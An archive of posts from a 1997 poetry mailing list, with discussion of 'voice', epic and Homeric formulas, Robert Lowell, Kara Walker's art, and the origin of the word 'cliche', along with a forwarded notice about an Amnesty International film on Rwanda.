I was wondering if we were ever going to get back to sports. I just heard that the NBA is threatening to suspend Shawn Kemp for tomorrow's game as well. One of the pleasures of the NBA Playoffs so far (as I think George Bowering noted in an earlier post) is that the remaining teams are so old! Malone, Stockton -- Perkins, Cummings -- Barkley, Drexler -- Ewing, the Williamses -- the Bulls even have Robert Parish on their roster, the only player in the league as old as I am. The Playoff game most embedded in my memory (and, thus, a minor cliche) is the deciding game of the Knicks/ Lakers final (1972?) when the crippled Willis Reed hit two jump shots at the beginning of the game and "inspired" (the spirit of the god came into him) his team to victory, thus breaking my emerging West Coast heart. I don't see anyone around -- least of all Jordan -- who could have a similar effect today.

Apologies for the long post: Dodie's just before this one was terrific! What ARE people talking about, anyway? Would it be possible to write an epic about the NBA Playoffs? About "The Odyssey"? Thanks, Dave . . .

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456. Jordan Davis
what we're talking about
Fri 16 May 1997

I'm talking about a friendly theory of reading work written in response to/under the influence of theory (i.e. the conscious use of non-conforming ideas/practices/subjects). When I am comfortable enough with this theory I will be able to use it to explain in a non-passionate way not only why I like what I like but how others who don't like it might look favorably upon it.

Of course if you piss me off, I'll just go the ordinary passionate route.

Against the need for cris de coeur,
Jordan

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457. Robert Hale
examples of manipulative language-centered writing?
Fri 16 May 1997

Dodie, you wrote:

My point was simply that to challenge the notion that
>writers of non-voice or language-centered (though I don't like that term)

>work, through their moral superiority, somehow evade various issues in the
>reader/writer relationship. This is vague, so allow me to meander into
>specifics.

But, I think
>the non-I in many "language-centered" works is just as manipulative and
>transparent. Instead of an emotional epiphany we're lead to an
>intellectual epiphany--and in the worst scenerio what we're really supposed
>to marvel at is the smarts of the non-I who's generating this text. The
>non-I best seduces me when I don't see this massive frail ego behind it
>begging for approval.

Your examples and specifics regarding how you dealt with these problems as a teacher and in your own writing were excellent. Teaching language as artifice and seduction is an interesting way to get young students involved in thinking about writing as something other than the search for truth.

Do you or anybody out there have specific examples of what you mention above -- manipulative, evading, language-centered writing or intellectual epiphany, non-voice, smarts of the non-I works, etc.?

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458. Matthias Regan
3 scents
Fri 16 May 1997

So many good posts in the last week I keep wishing I had time to do more than glance

It seem to me (at least) 3 ideas of voice are being talked about:

voice as vibrations in air emitted by individuals, esp. when reading their own writing to audiences (this one often used some what ironically, played off the second meaing

voice as something that was, in an early post, defined as a commonly held (in certain, Highly Suspect quarters) definition without much substance: voice as the thing writers are told by other writers to "look for" and "look forward to"; it is supposed to be a individual's creation, either the conglomeration of many little peculiarities of her or his Style (word choice, averaged over time?) or possibly something more mystical: a click of some psycic combination which once found enables the writer to be consistently better than they were, a confidence

some of the discussion about voice has been tempered (temper added?) by another "definition" of voice that I think has gone mostly unrecognized but, like an unseen planet, still exerts its pull: that is voice as viewed from "outside" the

author's attention or disregard; voice as seen from elsewhere: voiceless as anyone might try to be--making very real attempts in their writing to avoid habitual peculiarities, to avoid assuming themselves in their work--to the very extent that they are social beings their social constructed worlds will always be different from all other socially constructed worlds (each person the center of their own net of occurences) and so there is still that unavoidable voice, a peculiarity of social environment

Instead of cliches, epics might better be said to contain commonplaces. Cliches come with more ironic quotation marks than commonplaces. Cliches tend to sound like the first thing off the tongue, commonplaces like something gotten to through careful work--I'm not making a value judgement here--fast & flippant is good to, and the first thing off the tongue (when not a cliche) is also wit (Tristin Tzara being perhaps a consummate practicioner of witty cliche)

To read Lowell's attitude to that frieze as racist in a direct, individual way is a mistake; if there is racism in that poem it is very guarded and examined at once

Boston's continued "undermining" of that part of the common is I'm sure a sort of grand Happening (reminiscent of fluxus) by which they pretend to forever bring Cal's poem to life; walking past that monument, at least, I'd always look down at the construction and say I *AM* Robert Lowell

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459. Mark Baker

Re: examples of manipulative language-centered writing?

Fri 16 May 1997

Robert Hale wrote:

> *Do you or anybody out there have specific examples of what you mention above -- manipulative, evading, language-centered writing or intellectual epiphany, non-voice, smarts of the non-I works, etc.?*

Tender Buttons

Or is this language-centered that metamorphosed into "voice"? And won't this happen to all surface denial of voice? Time will say nothing but I told you so.

Mark Baker

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460. **henry gould**
Re: 3 scents
Fri 16 May 1997

On Fri, 16 May 1997 15:14:05 -0500 Matthias Regan said:
>always look down at the construction and say I *AM* Robert Lowell

that's a good one-liner!
you're finding your vice!

- Bob Gould Pshaw

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461. **Mark Weiss**
Re: 3 scents
Fri 16 May 1997

Several responses to several points:

> *some of the discussion about voice has been tempered (temper added?) by another "definition" of voice that I think has gone mostly unrecognized but, like an unseen planet, still exerts its pull: that is voice as viewed from "outside" the author's attention or disregard; voice as seen from elsewhere: voiceless as anyone might try to be--making very real attempts in their writing to avoid habitual peculiarities, to avoid assuming themselves in their work--to the very extent that they are social beings their social constructed worlds will always be different from all other socially constructed worlds (each person the center of their own net of occurences) and so there is still that unavoidable voice, a peculiarity of social environment*

Substitute "individually and socially" for "socially" and the construct is more inclusive and no less accurate. Idiosycracies do exist, and it's harder to know where the groove comes from than to construct a theory about the source.

> *Instead of cliches, epics might better be said to contain commonplaces. Cliches come with more ironic quotation marks than commonplaces. Cliches tend to sound like the first thing off the tongue, commonplaces like something gotten to through careful work--I'm not making a value judgement here--fast & flippant is good to, and the first thing off the tongue (when not a cliche) is also wit (Tristin Tzara being perhaps a consummate practicioner of witty cliche)*

Homer's repeated phrases are neither commonplaces nor cliches, they are chosen (or prescribed by custom) mnemonic formulas. If differences of this kind in the meaning of words are not recognized language loses much of its value as a communicative tool.

> *Boston's continued "undermining" of that part of the common is I'm sure a sort of grand Happening (reminiscent of fluxus) by which they pretend to forever bring Cal's poem to life; walking past that monument, at least, I'd always look down at the construction and say I *AM* Robert Lowell*

Boston, which has long had one of North America's more uncomfortable driving and parking environments, made matters more difficult for drivers by closing off large parts of downtown to daytime traffic. This was a terrific idea, but not terribly useful if all those cars had no alternative but to overburden nearby areas. The city had a few choices: ban cars altogether from downtown, to the extraordinary benefit of suburban mall owners; level even larger areas of historic downtown than have already felt the ax to make room for parking lots and garages, or go underground. Boston picked this last choice; they did it well enough on the first go-round so that for those not in the know it's hard to find the sub-commons garage entrance the first time around. Nor do I remember anything being undermined, despite the mining going on under it. And the commons has remained intact. I can't see how this insults Shaw, the soldiers he commanded, or St.-Gaudens.

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462. Matthias Regan
Re: 3 scents
Fri 16 May 1997

I can't see how this
>insults Shaw, the soldiers he commanded, or St.-Gaudens.

In this we are in complete agreement, although I like your comment about epics, too.

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463. Gwyn McVay
Lowell perfectly OK
Fri 16 May 1997

To clarify--I didn't mean, by citing Lowell's description of the black soldiers, to mean that HE was racist. I think I was trying, in a rather fumbling way, to say something about the lack of individuation of the soldier figures on the monument.

I can't forget the fellow prisoner in another Lowell poem who had "curlicues of marijuana in his hair"--it's one of the CO poems and it describes Lowell hanging out with proto-Rastas in jail.

Gwyn

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464. **main**
film on rwanda
Fri 16 May 1997

---------- Forwarded message ----------
From: IN%"[redacted]" 16-MAY-1997 08:42
To: IN%"[redacted]" "Multiple recipients of list H-AFRLITCINE"
CC:
Subj: FYI: New Film On Rwanda @

by CCIT.ARIZONA.EDU (PMDF V5.0-6 #2381)
id <[redacted]>; Fri, 16 May 1997 08:42:26 -0700 (MST)
by listserv.arizona.edu (AIX4.2/UCB 8.7/8.7) with ESMTP id IAA35158; Fri,
16 May 1997 08:42:03 -0700 (MST)
Date: Fri, 16 May 1997 08:40:09 -0700
From: bob <[redacted]>
Subject: FYI: New Film On Rwanda @
<[redacted]>
To: Multiple recipients of list H-AFRLITCINE <[redacted]>

----- Forwarded message from H-AFRICA---Mel Page -----

From: Kenneth W. Harrow, Michigan State University
<[redacted]>

I am pleased to announce that Amnesty International has now produced a film on the genocide in Rwanda, "Forsaken Cries: The Story of Rwanda." The film was made by Kathy Austin, Andrea Torrice and a team of others, is narrated by Danny Glover, and provides an excellent overview of the conditions that gave rise to the genocide, the reality of the genocide in 1994, and its aftermath. It was made by a humanrights organization, and so is concerned with how we address the problem of genocide from a human rights point of view. There are interviews with Alison des Forges, Richard Goldstone of the International Criminal Court, and AI's Adotei Akwei.

It is a good film. It runs 30 minutes.

I was involved in getting this project off the ground--it
was long and difficult, and we have to thank Mort Winston,
chair of the Board of Directors of AIUSA, for his support
that made the film possible.

The film comes with a notebook of educational materials,
providing historical background on Rwanda, on the genocide, on

the tribunal, on women's human rights violations, on the
failures of the international community, etc.

To obtain a copy of the film and the educational packet send $25 plus $5 for handling and shipping to AIUSA Publications, 322 Eighth Ave., New York, NY 10001.

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465. **oren.izenberg**
Lowell and parking
Fri 16 May 1997

I imagine (although I actually have no idea) that Lowell was not opposed to parking *per se*. He was, however, opposed to graft-- especially when he could point a finger at Irish politicians. (Of course, one can't really accuse Lowell of letting his own sort-- "Mayflower screwballs"-- off the hook entirely).

I am sort of amused, though, by the idea that the "problem" with "For the Union Dead" might be that Lowell is seeking injury where there is none; that what he needs to realize is that there was a *real* parking problem and that (come on Cal, everyone's tired of your turmoil) the garage is really pretty hard to see.

Perhaps corruption downtown is preferable to the corruption borne by the vector of the suburban mall. Or perhaps the interest of the poem (should one decide that is has any) is not precisely the extent to which it can be treated as a retrospective op-ed.

Best,
O.

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466. **Hugh Steinberg**
Re: "voice"?
Sat 17 May 1997

Sylvester Pollet wrote:
>Yeah, but Henry, aren't some people allergic to wheat? I don't see what all
>the fuss is about myself. Dodie hit it for me. Another way to think of
>"voice" is as a synonym for "chops," as in jazz, not lamb. Which doesn't
>mean every solo you blow will be the same, but it will have the years
>behind it.

I think chops is a great way of looking at this voice thing. A lot of problems with the term "voice" is that it's too broad: everyone's got a voice. What's at stake is the nervous desire to make each voice (your voice) unique. This may be

a foolish desire, up there with wanting to be a famous poet, but, like Dodie, I don't want my poems to look/sound like anyone else's (especially all those hordes of other MFAs out there). That's why I work on my chops.

Hugh Steinberg

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467. **George Thompson**

Re: epic redux

Sat 17 May 1997

> *While George Thompson's summary of Milman Parry's theories regarding epic is accurate, it's a bit dated. In any case, certainly not, as presented, "fact". Norman Austin, I think, pretty much dealt with it in _Archery at the Dark of the Moon_.*
>
> *Best,*
> *Mike*
> [redacted]

Sorry, I've been away from my computer and there are many things that I would like to respond to, but first things first.

My observations re Homer are not based on a summary of Milman Parry, but on my own reading of Homer, and Hesiod, and the Homeric hymns, etc., and not in some nice English translation like Fagle's. If anything is "a bit dated" it is Austin's demurrals against Parry's hardcore thesis, that "Homer" was not attempting anything like what, say, Virgil was. Parry's work has been *far* more productive than Austin's.

Never mind cliches. What are "mnemonic devices"? In what sense are the phrases "long-suffering Odysseus" or "swift-footed Achilles" or "rosy-fingered Dawn" mnemonic? In this sense: they are formulaic, *predictable*, and therefore *easier to memorize* than Virgil's carefully-thought-out alternatives [in Latin]. Homer's sense of "a memorable phrase" is different from ours.

Never mind Milman Parry. Greek "epos" means "word." More specifically "the traditional word." If you don't believe me, check out Gregory Nagy [whom Austin has not "pretty much dealt with"].

Does anyone deny that the Homeric hymns to Aphrodite, Demeter, Athena, are just as "epic" as the Iliad? I did not need Milman Parry to see that these too are epic in the Greek sense. I just took the trouble to look for myself.

As for the Vedic word, let me take my breath, and get back to you.

Best wishes [formulaic],
GT

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468. **Thomas Bell**
Re: "voice"?
Sat 17 May 1997

At 07:48 PM 5/15/97 -0700, [redacted] wrote:
>the space to meditate upon exactly what I'm finding
>problematic--and how that relates to my own interest in narrative and
>"self."
>
>Dodie
>
The concern about "voice' on the list recently is really a concern about writing to meet expectations, get good grades, get approval, etc., vs. writing to write or writing to find the self (the ancient sixties self-expression or authenticity). Unfortunately, "voice" can pin the tail on either end - indicating either the futility of using language to find reality or reality to find a language. It's all in the effort, I think, Dodie?
tom bell

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469. **Franklin Bruno**
(no subject)
Sat 17 May 1997

Chris Mann wrote:

> *meaning is rather a compulsive act of charity bestowed by an audient (not the same thing (and it is probably this not-sameness that is poetry (voice is just another way of saying oops)))*

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470. **rsillima**
Kara Walker's "voice"
Sat 17 May 1997

"So, you see, Ron, what I was saying is quite simple."

Well, Dodie, that sentence certainly wins the Calculated Innocence of the Week award. But, more seriously, yes I know Kara Walker's work and saw the show at SF MOMA (tho I was more moved, frankly, by the Arneson chemo sculptures in the next room, probably because I've been involved intellectually/emotionally

with Arneson's work for decades). I also had a chance to hear Arthur Danto give a talk partly about her silhouettes in the Whitney Biennial (which I've not seen) here at the Philadelphia Art Alliance (a toney East Coast institution with a very expensive restaurant "Opus 251" on its main floor, more akin to the Mechanics Institute Library, say, than New Langton Arts) maybe 3 weeks ago.

A lot of what makes Walker's works, especially the ones that involve disembowlment, lynching, rape, coprophilia, etc., so intense is that they're presented in these very sentimental pseudo-folk art forms (in that sense, not all that removed in spirit from the Jeff Koons Michael Jackson & Bubbles sculpture that SFMOMA owns). Is that combination of sentiment/shock what you mean by "seduction"? In some sense, they seem to reverse exactly the value system of an Anselm Kiefer, who sentimentalizes the monumentality of Museum Art and makes that the basis for his work.

" We made a field trip to the Kara Walker exhibit at SF MOMA (Walker's art, for those of you not familiar with it, deals with racism through the use of violent sexual imagery--the class very much liked that and many of them used it as an opportunity to put the word "fucking" into their essays)--I had them write about the exhibit and going to it, and the fact that it was hung in a museum, in terms of the specificity of viewing the work on that day, in that context, and how that impinged upon their take on the work. Obviously, this was about getting them beyond this once and for all time, godlike, disembodied perception of the work."

"So, back to the notion of writing as a seduction. One of my pleasures of reading is allowing myself to be seduced, to be thrilled, to abandon my will to Edith Wharton, for instance. I think the discomfort comes in when I feel, not seduced, but manipulated--this is a fine line--when that gap between intention and effect becomes too apparent and I feel ripped off. Many of the criticisms of voice poetry "voiced" here were about how the point of it is to make the "I" sound deep. We're not really supposed to share the epiphany, we're supposed to marvel at the epihaner. But, I think the non-I in many "language-centered" works is just as manipulative and transparent. Instead of an emotional epiphany we're lead to an intellectual epiphany--and in the worst scenerio what we're really supposed to marvel at is the smarts of the non-I who's generating this text. The non-I best seduces me when I don't see this massive frail ego behind it begging for approval. Not that begging for approval is a bad thing, it can be done to great effect if you're upfront about it--in the work of the artist Candy Ass, for instance."

I'm intrigued at what seems to be a test of Sincerity you're proposing here. Not that your description of some langpo isn't accurate enough, but rather the position from which you're making this description. If "abandonment" is what you want (this sounds like the Swinburnean equivalent of Artaud or something),

rather than something more Brechtian, the "presence" of the author (I or non-I) would seem to get in the way.

As for myself, I've begun reading Mason & Dixon and am probably lost to the real world for the next 4 months....

Ron

Ron Silliman When this you see
262 Orchard Road Remember me
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

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471. **George Thompson**

Re: epic redux

Sat 17 May 1997

> *George Thompson,*
> *thanks for the Goethe quote. As far as epic, I think what I said about what distinguishes epic is that it is by/for/about the group agrees with what you wrote. But I think epic has also been a literary, written genre, BEGINNING with Homer (in the "west" at least). The Homer we start from - in written epics, I mean - is a real composition (both Iliad & Odyssey). I'm not a classicist & let's not start an argument about "Homer" as individual! But they're written poems. & I'm 3 ineffable individuals. The idea that Virgil & Milton are imitation epics is interesting (since they don't have the same direct roots in oral epic). But Homer - Ill & Odd - as we know them - are poems!*
> *Or I'll be a blue-nosed gopher.*
> *- HG*

Yes, I think that our conceptions of epic do match, more or less [and I should add that I have enjoyed your postings about this]. I'm not so mean-spirited or presumptuous as to deny the term "epic" to Milton or Virgil, or to Ashbery for that matter if that becomes the consensus, say, on this list.

It might be useful to talk of different types of epic: oral [or folk],literary [or individual], private maybe [or "individual"]. When we slide toward the private, idiosyncratic end of the scale this thing "epic" turns into something else: I don't mind calling it lyric. When we slide toward the other end we verge on something else again: we could call it rumor, gossip [Homer calls it "imperishable

fame"] -- I myself find that matters at this end of the scale are just as worthy of attention as the stuff at the other end [maybe more so].

I don't mean to suggest that the difference betwen oral and literary epic is a matter of formless flow of speech [strings of cliches, say], on the one hand [i.e., oral], and "real composition" [literary, "poems"] on the other. The Ill and the Odd are "real compositions", no doubt [as are also *any* folk epics from anywhere]. But they don't operate by the same rules of composition as the Aeneid does. One of the interesting things about current Homeric studies is the work that is being done on figuring out what "Homer"'s rules of composition were. In my own work I'm trying to do the same for Vedic, whose rules are far more deeply hidden from us than "Homer"'s are.

Sorry, got to go now.
GT

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472. **Michael Magee**
Re: Lowell perfectly OK
Sat 17 May 1997

"I can't forget the fellow prisoner in another Lowell poem who had "curlicues of marijuana in his hair"--it's one of the CO poems and it describes Lowell hanging out with proto-Rastas in jail.

Gwyn"

Yes, that's "Memories of West Street and Lepke," one of my favorites. Lowell, it seems to me, never quite stands still for the caricature we often want to draw of him, big, famous and "traditional/formal" New England poet. There are certainly better straw men to place in that role than Lowell and I think he takes the fall most often primarily as backlash for all the attention he got. Certainly from the '57 or so on he's paying pretty close attention to Ginsberg's work, O'Hara's too I think. The one time I met Ginsberg we got into a conversation about Lowell and he pretty much praised Lowell as a guy and the late work. Duncan too is fairly complementary of Lowell's poetry in his book of essays *Fictive Certainties*. I see Lowell as a kind of Norman Mailer-style in-between figure (in his own way of course) with all of the problems that go along with that stance, but quite different than, say, Richard Wilbur, and not at all a precursor to New Formalism and such. He's not my favorite by any means but I still get alot out of reading selected things from *Life Studies* to the end.

-Mike.

↑ Index

473. **dbkk**
Re: Kara Walker's "voice"
Sat 17 May 1997

> *"So, you see, Ron, what I was saying is quite simple."*
>
> *A lot of what makes Walker's works, especially the ones that involve disembowlment, lynching, rape, coprophilia, etc., so intense is that they're presented in these very sentimental pseudo-folk art forms (in that sense, not all that removed in spirit from the Jeff Koons Michael Jackson & Bubbles sculpture that SFMOMA owns). Is that combination of sentiment/shock what you mean by "seduction"? In some sense, they seem to reverse exactly the value system of an Anselm Kiefer, who sentimentalizes the monumentality of Museum Art and makes that the basis for his work.*

I wasn't suggesting by seduction that you enter into a sentimentalized relationship with The Work. More basically that you buy into what The Work is supposed to be doing (and what is the work Supposed to Be Doing, many a theory book covers that, like Susan Steward's *On Longing* which I'm (re)reading now, her discussion of the different relationships between reader and text in allegory vs. realist fiction, that kind of thing). Actually, Walker's work didn't seduce *all* my students. I enjoyed the one paper by the guy who ragged on how she couldn't draw and how it was obvious the reason she turned to silhouettes was they didn't involve detail. The guy who wrote this is very good at detail himself--I went to a one-night show of his where he did these American flag/female genital drawings that were awesome in their detail, even though I wasn't very comfortable with them.

> *I'm intrigued at what seems to be a test of Sincerity you're proposing here. Not that your description of some langpo isn't accurate enough, but rather the position from which you're making this description. If "abandonment" is what you want (this sounds like the Swinburnean equivalent of Artaud or something), rather than something more Brechtian, the "presence" of the author (I or non-I) would seem to get in the way.*

No, Ron, you've got me wrong there. I'm not proposing Sincerity here. Sincerity is always a tone, not a state of being for me. That's one of the first things I told those kids, who at first would be so Sincere in their writing that they wouldn't want anybody else to read it, I'd say, "Sincerity is not about exposing the writer's soul, sincerity is a tone, an effect." The presence of the author, to me, would only make the experience of "abandonment" more sexy.

Dodie

↑ Index

474. **dbkk**
Re: Kara Walker's "voice"
Sat 17 May 1997

At 7:30 AM -0500 5/17/97, [redacted] wrote:
>
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>what you want (this sounds like the Swinburnean equivalent of Artaud or
>something), rather than something more Brechtian, the "presence" of the
>author (I or non-I) would seem to get in the way.

Ron, I thought of an example. A while back I bought this Routledge book by two women, I can't remember their names, about Modernist women artists and writers. It sounded interesting, especially since I hadn't read/thought about Nathalie Barney, Romaine Brooks, Renee Vivien since like the 70s, and I was wondering what my reactions to them would be as an Adult. It was obvious that the writers were very sincere feminists and sincere intellectuals but their book was a total flop, in my opinion, in its seduction value. As I'm sure, you'll agree, Ron, a well-constructed theory book can be most thrilling. The problem with the book (aside from the fact that the writers didn't seem to have any ideas) was the clumsy use they made of theory buzz words. For instance, when they were talking about Brook's and Barney's tendency to adopt the clothing of male dandies, the writers would consistently refer to this as their "sartorial strategies." After a while the point of the chapter seemed really to be how many different ways they could work in their buzz-baby "sartorial strategies." Not that one should never write "sartorial strategies," but in some cases, "cross dressing," a term which seemed to scare them, would have been less awkward. The writers, to me, seemed pretentious, but more than that to be terribly insecure, lacking confidence in what they were saying. If they were less sincere, more into creating effects, I think the book might have worked better.

As I read the above chapter, I was thinking of Terry Castle, who's so much fun to read, and whose playfulness is quite sexy, I was thinking Terry Castle, if she were writing about this, and it does sound like something she'd write about, Terry Castle would know when to use "cross dressing," when to use "sartorial strategies." One of the pleasures of reading Castle is that she gives the impression that she knows exactly what she's going for and how to get it. Her sincerity isn't something that comes up for me.

Dodie

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475. KENT JOHNSON
dirty postmodernism
Sat 17 May 1997

I just re-subscribed and happy to come back. Let's see...I feel I should contribute some kind of snippet, so here goes: I heard from a friend that Paul Hoover's book (the editor of the humoungous (sp?) Norton _Postmodern American Poetry_), had been selected by none other than Marvin Bell, most recently author of the very depressing series "Poems of the Dead Man," and director, I think, of the Iowa Writer's Workshop, for the "coveted" National Poetry Series!

I was wondering: Is this cause for rejoicing, embarrassment, second- thoughts, or factional reconciliation? Certainly, Mr. Hoover's authority as an arbiter of "Postmodernism" (insofar as he gladly accepts Mr. Bell's approval) might be called into question?

I was, in part, wondering, because I heard from a third party that when Mr. Hoover was in Iowa City a couple months ago, he talked shit at the bar to Creative Writing students about my friend (and significantly greater poet than he) Forrest Gander, who was visiting poet at the time there. Is it possible, I wonder, that Mr. Hoover's little visit to Iowa City could have had something to do with his little prize? (I would like to say here that if Forrest knew I was writing this, he would be extremely pissed, and he will certainly be when he finds out, but I can't contain myself...).

anyway, it's good to be back. I've missed the great people on this list! Even Bromige and Bowering, who write code behind everybody's back.

Kent

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476. Daniel Tessitore
Re: Kara Walker's "voice"
Sat 17 May 1997

rsilliman wrote:

Many of the criticisms of voice poetry "voiced" here were about how the point of it is to make the "I" sound deep. We're not really supposed to share the epiphany, we're supposed to marvel at the epihaner. But, I think the non-I in many "language-centered" works is just as manipulative and transparent. Instead of an emotional epiphany we're lead to an intellectual epiphany--and in the worst scenerio what we're really supposed to marvel at is the smarts of the non-I who's generating this text.

Thanks for crystallizing this so well. I would add that in the case of the 'epiphaner' it is also his/her smarts we are to marvel at, in so far as how successfully the tried and true epiphanic maneuver is executed, which strikes me as a kind of ironic concession to the fact we've seen it before.

Very young children also like others to marvel at their successfully doo-dooing in prescribed locations. The difference is that, with children, this achievement eventually becomes less and less interesting.

DT

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477. shoemakers

m&d

Sat 17 May 1997

I too have begun the slow Ascent of Mt. Mason & Dixon, and am so far intoxicated by its Style, which Incites in me a Strong Desire to render my Least Thoughts in Tall Capitals.

In the Bonds of Fascination, Steve

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478. Tom Mandel

voice

Sat 17 May 1997

I write from an (extremely) partial sense of the thread so far, but:

1.
I can't think of a poet whose work I did not begin to understand (to 'hear') much better once I heard that poet read.

Once I heard that poet's voice.

That's not a point of theory, of course. It's not even really a fact, and certainly not a piece of data; but, it's a true report of experience.

"Voice" is just a metonym for identity, and no matter how we work athwart or push off from that concept, all action and certainly all language depends on identity.

That doesn't mean we can't read Dante, only that it would be neat to hear him read. If you're interested in Spicer and I tell you I have a tape of him reading "Language" -- do you want to hear it? I think so!

It's only worked the other way that a problem occurs. That is, when we begin with the concept of voice, as if it really did have a theoretical existence.

2.
We also use the word to mean "effective expression" -- as in "to give voice to an idea."

Here too it's a metonymic turn of language; it derives from the physical voice, from singing, the production of tone.

But metaphorical too. Tho the term "voice" was anathema to poets of my generation in our early years, we used and learned from other terms with the same metaphorical basis -- "sound" for example as in "sounding the world."

The intellectual content on the other hand is very different. The idea that a poem "sounds" the world the way a mallet sounds a gong, this is a way to give objectivity, status in the world, to the poem, and remove it from being a simple expression of a person. So, it rhymes poem and world rather than poem and person.

Reasons for doing this had nothing to do with the word "voice," as if poets were logicians and making points about the validity of terms and usage. They had to do with the poets we felt opposed to and *their use of* the term voice, i.e. with the fact that they *owned* the term.

Anyway time passes and you learn to think about things differently. I well remember a short poem by Ron Padgett whose point was the complete lack of connection between love and death (it's in Great Balls of Fire, his first book, the book of a poet in his twenties). I understood and understand the effectiveness of his poem. It was a useful poem for me to read in the time of my life that I read it, useful in the sense that this word is the highest praise you can give a poem sometimes. The poem does something in your life.

But you can't live a life without seeing the connection between love and death, not now for sure and not ever.

Voice. Poem sounds and resounds. But poems are fragile too, and can be silenced, as sometimes one voice silences another voice. A loud voice, certain of what it is saying, speaking a truth, may silence another voice more tentative less certain speaking a different truth. But a silenced voice may also go on speaking, and in the end it may be the voice we want to hear.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]

****
Join the Caucus Conversation

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479. **henry**
Re: epic redux
Sat 17 May 1997

Awhile back Mike Boughn offered the idea that epic was a distinctive way of thinking, & I said no, wanting to keep thought out of it & just look at the "aesthetic" boundaries (narrative, group vs. individual, all that). But have had 2nd thoughts all along - what maybe links Olson, LZ, Pound most closely to the ancient epics is the thinking-scope of them - the Ill & the Odd are really about the place, character, fate of "man" in world of Gods & chance - these 20th cent poems aim for the "whole thing" - thinking through the whole thing in one "poetic action" - not meditative or lyric chips off the block - but what you're starting to get at, George, is "compositional methods" - a closer look at which might address the purpose of them, the end-meaning - or goal of composition, if there is "one" - - there are a few buffalos in Providence, I should point out - HG

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480. **Jocelyn Emerson**
Re: epic redux
Sat 17 May 1997

> *Never mind cliches. What are "mnemonic devices"? In what sense are the phrases "long-suffering Odysseus" or "swift-footed Achilles" or "rosy-fingered Dawn" mnemonic? In this sense: they are formulaic, *predictable*, and therefore *easier to memorize* than Virgil's carefully-thought-out alternatives [in Latin]. Homer's sense of "a memorable phrase" is different from ours.*

I want to chime in here to note that, as far as I know, cliche is a typesetter's term--i.e. having to do with certain clusters of words which occurred often enough together that a piece of type could be made to cover the group of words instead of using the individual plates separately (requiring fewer physical gestures on the part of the typesetter to rach for type--important given that many were in fact illiterate). Thus, our *ideolgical* notion of cliche is very much determined by a technology that's part of the early modern period and after. The formulaic phrases (as above) may not be mnemonic, but formulaic in terms of the meter itself--memorable in the sense of predetermined phomemic spaces employed to help propel the narrative, but not, I think, in terms of "cliche" or

prepackaged ideas at least in the way we understand that signifying process of the cliche.

JE

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481. **Janet S. Gray**
Press for Persian epic?
Sat 17 May 1997

A friend, Deborah Meadows, has written a contemporary verse adaptation of a section of the Shahnama, a 10th/11th century Persian epic by Firdausi. The section is called "Zahak the Dragon King" & her adaptation is about 40 pp long. She's taught it in college classes & finds it specially appealing as an ancient tale of political resistance. She asked me what presses might be interested in such a piece. At a loss, & at the risk of chafing this list's ever-chafed boundaries, I pose the question here: any suggestions appreciated. I've read the piece - a wondrous tale w/ crisp philosophic asides, rendered clear & at moments funny in Debbi's verse.

Janet Gray
[redacted]

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482. **Mark Weiss**
Re: epic redux
Sat 17 May 1997

---

cliche certainly derives from a printing term, but I don't think it was ever used in Jocelyn's sense. What the French called a cliche was called a stereotype plate in English. My understanding is that it was a mold--usually of a whole page of type or an engraving--that was used to print from instead of the original.

At 02:34 PM 5/17/97 -0600, you wrote:
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>
>JE
>
>

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483. **Mark Weiss**
Re: epic redux
Sat 17 May 1997

Agreed (I was riding my precision-in-language hobbyhorse, which just won the Preakness) Small caveat--the valuing of originality of expression goes back far beyond the romantics (tho not as far as Homer).

At 06:23 PM 5/17/97 -0600, you wrote:
>This may be correct--I don't have my appropriate reference stuff with me;
>however, the point I am making at the moment is that we cannot apply to
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>there is an analogous term which is more apporpriate to discussing Greek
>epic in its context(s). But my point is that the very term cliche--as a
>mold let's say from which one makes the multiple copies instead of the
>original--is a technology, like all technologies, that contours cultural
>notions of "original" "reproduction" etc. how each is valued, etc. Since,
>in our post Romantic ethos, "we" value "originality" (i.e the true
>sentiment and all that "voice" stuff) and decry the copy, cliche as the
>technology which facilitated the making of the copies has, over time,
>become a term which now exceeds its technical or instrumental origin and is

>used almost completely in an ideological, critical, discoursive manner etc.
>and perhaps more relvent for this discussion, as if its contemporary
>meaning as a prepackaged phrase, idea, set of relationships has always
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>>>
>>>JE
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484. **Jocelyn Emerson**
Re: epic redux
Sat 17 May 1997

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>
> *JE*

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485. **Jocelyn Emerson**

Re: epic redux

Sat 17 May 1997

Yes, of course "originality" was a desirable commodity--economically, discoursively, aesthetically--prior to the Romantics--inscribed and imbued by various fantasies of social cohesion, mobility, blah, blah; i.e. Old Ben's construction of his ms after the publishing syndicte's First Folio and all that--and even farther back into coterie and court culture, etc. It just seems to me that after all the interiorizing subjectivitzing of the (canonical male) Romantics and the ensuing discoursive codification of that as "natural" (via the New Critics and the like)--, it's important to specify the historical and constructed nature of "originality" as well as to understand it in its plurity of historical, economical, genered, racial contexts (standard New Historical line, I know)...

Agreed (I was riding my precision-in-language hobbyhorse, which just won the
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>>>>JE
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486. **DS**
Re: voice
Sun 18 May 1997

At 03:28 PM 5/17/97 -0400, you wrote:

> *1.*
> *I can't think of a poet whose work I did not begin to understand (to 'hear') much better once I heard that poet read.*
>
> *Once I heard that poet's voice.*

i'm aware this isn't really the focus of the discussion, but i identify strongly with this. There are poets of course we (especially from New Zealand) will/have never got/get to hear, but (for example) i certainly found listening to Lyn H when she was here a few years ago - provided a whole lot of strategies for rereading her. Not necessarily in a meaning sense although i can't deny that her presentation of her words did change the experiences of meaning i found in her works, but particularly in a visceral (or musical) sense.

dan

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487. KENT JOHNSON
Re: voice and...
Sun 18 May 1997

On may 16, Hank Lazer wrote:

> *to think through what I feel as fissures _within_ language poetry or within a broad range of innovative poetries. Specifically, I'm trying to think about the place of spirituality, emotional intensity, wonder, and lyricism. After more mainstream expressions in these categories are critiqued and understood as falling within the domain of rhetoric (but what isn't within the domain of rhetoric??!), it still remains to be asked whether one would like to have a poetry that might include such things in it, and how might one go about such a poetry in a way that was not cliched or overly manipulative.*

Hank:

